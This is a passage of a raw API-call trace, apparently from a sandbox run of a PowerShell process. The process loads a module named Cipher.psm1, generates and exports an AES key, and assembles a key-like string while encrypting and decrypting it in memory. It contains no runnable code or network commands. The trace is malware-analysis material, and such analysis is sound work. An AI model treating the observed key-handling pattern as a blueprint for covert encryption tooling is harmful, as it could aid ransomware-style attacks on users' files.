hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0138.197] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.197] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.197] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.197] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0138.197] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.197] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.197] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.198] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0138.198] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0138.198] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.198] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.198] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.199] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x4396570) returned 1 [0138.199] CryptGenKey (in: hProv=0x4396570, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e849b8) returned 1 [0138.199] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.199] CryptExportKey (in: hKey=0x8e849b8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0138.200] CryptExportKey (in: hKey=0x8e849b8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a23230, pdwDataLen=0x99ae894 | out: pbData=0x6a23230*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0138.200] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x31c0\x6a2\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x9400\x73ad\x9e") returned 0x0 [0138.200] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.200] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.200] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.200] SysStringLen (param_1="") returned 0x8 [0138.200] SysStringLen (param_1="t") returned 0x8 [0138.200] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.200] SysStringLen (param_1="\x5515\x862b\xfd6c\xf9e5\xa85d\x4f8d\xbdd4\x7f5f") returned 0x8 [0138.200] SysStringLen (param_1="\x5515\x862b\xfd6c\xf9e5\xa85d\x4f8d\xbdd4\x7f5f") returned 0x8 [0138.201] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.201] SysStringLen (param_1="tT") returned 0x8 [0138.201] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.201] SysStringLen (param_1="\xc74\xff83\x653a\x6b32\x4438\x52da\x53d2\xe910") returned 0x8 [0138.201] SysStringLen (param_1="\xc74\xff83\x653a\x6b32\x4438\x52da\x53d2\xe910") returned 0x8 [0138.201] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.201] SysStringLen (param_1="tTK") returned 0x8 [0138.201] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.201] SysStringLen (param_1="\xc127\xb3f9\x4558\x867d\x2a1c\x29a7\xf251\xb774") returned 0x8 [0138.201] SysStringLen (param_1="\xc127\xb3f9\x4558\x867d\x2a1c\x29a7\xf251\xb774") returned 0x8 [0138.201] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.202] SysStringLen (param_1="tTKh") returned 0x8 [0138.202] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.202] SysStringLen (param_1="\xff3d\x4841\xe331\x35fc\x3862\xd71f\x62d8\x47cc") returned 0x8 [0138.202] SysStringLen (param_1="\xff3d\x4841\xe331\x35fc\x3862\xd71f\x62d8\x47cc") returned 0x8 [0138.202] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.202] SysStringLen (param_1="tTKhp") returned 0x8 [0138.202] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.202] SysStringLen (param_1="\x4aec\x5faf\x6e68\x98ff\x87bf\x1b5e\x1157\x1f0c") returned 0x8 [0138.202] SysStringLen (param_1="\x4aec\x5faf\x6e68\x98ff\x87bf\x1b5e\x1157\x1f0c") returned 0x8 [0138.202] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.202] SysStringLen (param_1="tTKhpn") returned 0x8 [0138.202] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.203] SysStringLen (param_1="\x2b6a\xab90\x746f\x8585\x26af\x89c9\xfe17\xff85") returned 0x8 [0138.203] SysStringLen (param_1="\x2b6a\xab90\x746f\x8585\x26af\x89c9\xfe17\xff85") returned 0x8 [0138.203] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.203] SysStringLen (param_1="tTKhpnM") returned 0x8 [0138.203] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.203] SysStringLen (param_1="\x8a88\x28f5\xbf82\xef45\xaff\x80e8\x2c08\xf469") returned 0x8 [0138.203] SysStringLen (param_1="\x8a88\x28f5\xbf82\xef45\xaff\x80e8\x2c08\xf469") returned 0x8 [0138.203] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.203] SysStringLen (param_1="tTKhpnMg") returned 0x8 [0138.203] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.203] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d") returned 0x8 [0138.204] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d") returned 0x8 [0138.204] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d") returned 0x8 [0138.204] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d") returned 0x10 [0138.204] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.204] SysStringLen (param_1="tTKhpnMgf挟ᚢ薁溵⸱") returned 0x10 [0138.204] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.204] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x6da9\x7511\x19d\x6c1c\xac18\x1d9f\x402a\xe240") returned 0x10 [0138.204] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x6da9\x7511\x19d\x6c1c\xac18\x1d9f\x402a\xe240") returned 0x10 [0138.204] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.205] SysStringLen (param_1="tTKhpnMgfjᚢ薁溵⸱") returned 0x10 [0138.205] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.205] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\xddc\x1786\x92c8\x2c50\x47dc\xb40\x187c\x683f") returned 0x10 [0138.205] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\xddc\x1786\x92c8\x2c50\x47dc\xb40\x187c\x683f") returned 0x10 [0138.205] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.206] SysStringLen (param_1="tTKhpnMgfjkᚢ薁溵⸱") returned 0x10 [0138.206] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.206] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x24de\x7462\x8b28\x69cb\xa947\xf62e\x3f97\x6c8c") returned 0x10 [0138.207] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x24de\x7462\x8b28\x69cb\xa947\xf62e\x3f97\x6c8c") returned 0x10 [0138.207] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.207] SysStringLen (param_1="tTKhpnMgfjkb薁溵⸱") returned 0x10 [0138.207] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.207] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x2075\xa79d\xf15e\x87ba\x9779\x5e5a\x254\xaaf0") returned 0x10 [0138.207] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x2075\xa79d\xf15e\x87ba\x9779\x5e5a\x254\xaaf0") returned 0x10 [0138.207] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.207] SysStringLen (param_1="tTKhpnMgfjkbF溵⸱") returned 0x10 [0138.207] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.207] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\xd8ab\x59b9\xf248\x9474\x7e5\x4cd5\xb1a0\xb228") returned 0x10 [0138.207] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\xd8ab\x59b9\xf248\x9474\x7e5\x4cd5\xb1a0\xb228") returned 0x10 [0138.207] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.207] SysStringLen (param_1="tTKhpnMgfjkbFk⸱") returned 0x10 [0138.207] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.207] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\xf5db\xdc05\xa9c4\xaa64\x4fc5\xf012\x4168\x6734") returned 0x10 [0138.207] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\xf5db\xdc05\xa9c4\xaa64\x4fc5\xf012\x4168\x6734") returned 0x10 [0138.207] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.208] SysStringLen (param_1="tTKhpnMgfjkbFk+") returned 0x10 [0138.208] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.208] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\xba62\xc326\xc08c\x63df\x909a\x70a2\xbb20\x3eac") returned 0x10 [0138.208] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\xba62\xc326\xc08c\x63df\x909a\x70a2\xbb20\x3eac") returned 0x10 [0138.208] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.208] SysStringLen (param_1="tTKhpnMgfjkbFk+P") returned 0x10 [0138.208] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.208] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794") returned 0x10 [0138.208] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794") returned 0x10 [0138.208] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794") returned 0x10 [0138.208] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794") returned 0x18 [0138.208] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.208] SysStringLen (param_1="tTKhpnMgfjkbFk+Plꤐ끍ᦳ班킖魂均") returned 0x18 [0138.209] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.209] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\xb143\x64e1\x4882\xdd73\x47e\xbf20\x281d\xfb84") returned 0x18 [0138.209] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\xb143\x64e1\x4882\xdd73\x47e\xbf20\x281d\xfb84") returned 0x18 [0138.209] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.209] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0끍ᦳ班킖魂均") returned 0x18 [0138.209] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.209] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x7575\xcfb8\xc914\xd640\x9db9\x68c5\x98e0\x1097") returned 0x18 [0138.209] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x7575\xcfb8\xc914\xd640\x9db9\x68c5\x98e0\x1097") returned 0x18 [0138.209] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.209] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fᦳ班킖魂均") returned 0x18 [0138.209] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.209] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x797f\x9da9\x3fcd\xab3a\xcb42\xe121\x85dd\x1d07") returned 0x18 [0138.209] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x797f\x9da9\x3fcd\xab3a\xcb42\xe121\x85dd\x1d07") returned 0x18 [0138.209] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.209] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fz班킖魂均") returned 0x18 [0138.209] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.210] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\xd857\x717d\xd0c8\xfbef\x756a\x5178\xf070\xbaa1") returned 0x18 [0138.210] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\xd857\x717d\xd0c8\xfbef\x756a\x5178\xf070\xbaa1") returned 0x18 [0138.210] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.210] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr킖魂均") returned 0x18 [0138.210] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.210] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x1965\xa06d\xcd43\x190f\xd9de\x228b\x2a84\x9507") returned 0x18 [0138.210] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x1965\xa06d\xcd43\x190f\xd9de\x228b\x2a84\x9507") returned 0x18 [0138.210] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.210] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4魂均") returned 0x18 [0138.210] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.210] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\xffcc\xfc54\xbaba\x5801\xf687\x8d2c\xc415\x847f") returned 0x18 [0138.210] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\xffcc\xfc54\xbaba\x5801\xf687\x8d2c\xc415\x847f") returned 0x18 [0138.210] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.210] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4Z均") returned 0x18 [0138.210] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.210] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\xeef2\x13a6\xd93a\x4393\xa722\xe57f\x4410\xece4") returned 0x18 [0138.210] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\xeef2\x13a6\xd93a\x4393\xa722\xe57f\x4410\xece4") returned 0x18 [0138.211] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.211] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4Zu") returned 0x18 [0138.211] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.211] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107") returned 0x18 [0138.211] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107") returned 0x18 [0138.211] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107") returned 0x18 [0138.211] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107") returned 0x20 [0138.211] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.211] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZꄢ劺⥿쎐䕲凔") returned 0x20 [0138.211] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.211] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\xa338\x7932\x1440\x6bfc\xa71e\xaae2\x2781\x69c1") returned 0x20 [0138.211] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\xa338\x7932\x1440\x6bfc\xa71e\xaae2\x2781\x69c1") returned 0x20 [0138.211] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.212] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZ5劺⥿쎐䕲凔") returned 0x20 [0138.212] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.212] SysStringLen 